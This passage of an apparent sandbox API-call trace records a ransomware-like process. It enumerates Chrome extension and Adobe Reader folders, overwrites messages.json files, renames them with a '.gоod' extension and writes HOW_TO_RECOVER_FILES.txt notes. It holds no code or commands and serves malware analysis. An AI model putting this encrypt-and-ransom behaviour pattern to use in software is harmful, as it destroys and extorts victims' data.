lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json", lpFilePart=0x0) returned 0x89 [0270.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0270.881] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x37e1b08 | out: lpFileInformation=0x37e1b08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8667dbb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8667cb2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1981d900, ftLastWriteTime.dwHighDateTime=0x1d17872, nFileSizeHigh=0x0, nFileSizeLow=0x96)) returned 1 [0270.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0270.882] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json", lpFilePart=0x0) returned 0x89 [0270.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0270.882] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0270.882] GetFileType (hFile=0x86c) returned 0x1 [0270.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0270.882] GetFileType (hFile=0x86c) returned 0x1 [0270.882] GetFileSize (in: hFile=0x86c, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0x96 [0270.882] ReadFile (in: hFile=0x86c, lpBuffer=0x37e1f58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x37e1f58*, lpNumberOfBytesRead=0x209ebc98*=0x96, lpOverlapped=0x0) returned 1 [0270.882] CloseHandle (hObject=0x86c) returned 1 [0271.279] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json", lpFilePart=0x0) returned 0x89 [0271.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0271.279] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0271.280] GetFileType (hFile=0x824) returned 0x1 [0271.280] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0271.280] GetFileType (hFile=0x824) returned 0x1 [0271.280] WriteFile (in: hFile=0x824, lpBuffer=0x38adfe8*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x209ebba8, lpOverlapped=0x0 | out: lpBuffer=0x38adfe8*, lpNumberOfBytesWritten=0x209ebba8*=0xa0, lpOverlapped=0x0) returned 1 [0271.281] CloseHandle (hObject=0x824) returned 1 [0271.281] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json", lpFilePart=0x0) returned 0x89 [0271.281] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0271.281] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebcd0) returned 1 [0271.281] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x209ebdb0 | out: lpFileInformation=0x209ebdb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8667dbb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8667cb2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x9de89253, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa0)) returned 1 [0271.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebc90) returned 1 [0271.281] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\messages.json.gоod")) returned 1 [0271.282] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x209eb9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0271.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebed0) returned 1 [0271.283] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\no\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0271.284] GetFileType (hFile=0x824) returned 0x1 [0271.284] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe40) returned 1 [0271.284] GetFileType (hFile=0x824) returned 0x1 [0271.284] WriteFile (in: hFile=0x824, lpBuffer=0x38b1920*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x209ebf98, lpOverlapped=0x0 | out: lpBuffer=0x38b1920*, lpNumberOfBytesWritten=0x209ebf98*=0x5d0, lpOverlapped=0x0) returned 1 [0271.285] CloseHandle (hObject=0x824) returned 1 [0271.285] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0271.286] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pl", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pl", lpFilePart=0x0) returned 0x7b [0271.286] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pl\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8674112, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8676822, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8676822, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac20 [0271.286] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8674112, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8676822, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8676822, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.286] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8676822, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8678e22, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b4c617, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0271.286] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0271.286] FindClose (in: hFindFile=0x134ac20 | out: hFindFile=0x134ac20) returned 1 [0271.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0271.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0271.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebf60) returned 1 [0271.287] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pl", nBufferLength=0x105, lpBuffer=0x209eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pl", lpFilePart=0x0) returned 0x7b [0271.287] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pl\\*", lpFindFileData=0x209ebc80 | out: lpFindFileData=0x209ebc80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8674112, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8676822, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8676822, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b2e0 [0271.287] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8674112, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8676822, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8676822, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.287] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8676822, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8678e22, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b4c617, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0271.287] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x209ebc40 | out: lpFindFileData=0x209ebc40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8676822, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8678e22, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b4c617, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0271.287] FindClose (in: hFindFile=0x134b2e0 | out: hFindFile=0x134b2e0) returned 1 [0271.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebea0) returned 1 [0271.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebe60) returned 1 [0271.328] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pl\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pl\\messages.json", lpFilePart=0x0) returned 0x89 [0271.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebd10) returned 1 [0271.328] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pl\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x38c18f0 | out: lpFileInformation=0x38c18f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8676822, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe8678e22, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe8b4c617, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb4)) returned 1 [0271.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebcd0) returned 1 [0271.328] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pl\\messages.json", nBufferLength=0x105, lpBuffer=0x209eb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pl\\messages.json", lpFilePart=0x0) returned 0x89 [0271.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209ebbc0) returned 1 [0271.328] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\pl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0271.328] GetFileType (hFile=0x824) returned 0x1 [0271.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209ebb30) returned 1 [0271.328] GetFileType (hFile=0x824) returned 0x1 [0271.328] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x209ebd68 | out: lpFileSizeHigh=0x209ebd68*=0x0) returned 0xb4 [0271.328] ReadFile (in: hFile=0x824, lpBuffer=0x38c1d60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x209ebc98, lpOverlapped=0x0 | out: lpBuffer=0x38c1d60*, lpNumberOfBytesRead=0x209ebc98*=0xb4, lpOverlapped=0x0) returned 1 [0271.329] CloseHandle (hObject=0x824) returned 1 Thread: id = 245 os_tid = 0xeb4 Thread: id = 246 os_tid = 0xe30 [0246.751] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0246.751] CoGetContextToken (in: pToken=0x20bee8b0 | out: pToken=0x20bee8b0) returned 0x0 [0246.751] IUnknown:QueryInterface (in: This=0x12e64d0, riid=0x7ff9122eadf8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x20bee8e8 | out: ppvObject=0x20bee8e8*=0x12e64e8) returned 0x0 [0246.752] IComThreadingInfo:GetCurrentThreadType (in: This=0x12e64e8, pThreadType=0x20bee958 | out: pThreadType=0x20bee958*=0) returned 0x0 [0246.752] IUnknown:Release (This=0x12e64e8) returned 0x0 [0246.752] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0246.752] CoUninitialize () [0246.752] RoInitialize () returned 0x1 [0246.752] RoUninitialize () returned 0x0 [0246.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beda20) returned 1 [0246.753] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select", nBufferLength=0x105, lpBuffer=0x20bed4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select", lpFilePart=0x0) returned 0x71 [0246.753] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\*", lpFindFileData=0x20bed740 | out: lpFindFileData=0x20bed740*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b2e0 [0246.754] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x20bed700 | out: lpFindFileData=0x20bed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.754] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x20bed700 | out: lpFindFileData=0x20bed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0246.754] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x20bed700 | out: lpFindFileData=0x20bed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0246.754] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x20bed700 | out: lpFindFileData=0x20bed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0246.754] FindClose (in: hFindFile=0x134b2e0 | out: hFindFile=0x134b2e0) returned 1 [0246.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bed960) returned 1 [0246.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bed920) returned 1 [0246.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beda20) returned 1 [0246.754] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select", nBufferLength=0x105, lpBuffer=0x20bed4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select", lpFilePart=0x0) returned 0x71 [0246.755] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\*", lpFindFileData=0x20bed740 | out: lpFindFileData=0x20bed740*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0246.755] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x20bed700 | out: lpFindFileData=0x20bed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.755] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x20bed700 | out: lpFindFileData=0x20bed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0246.755] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x20bed700 | out: lpFindFileData=0x20bed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0246.755] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x20bed700 | out: lpFindFileData=0x20bed700*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, 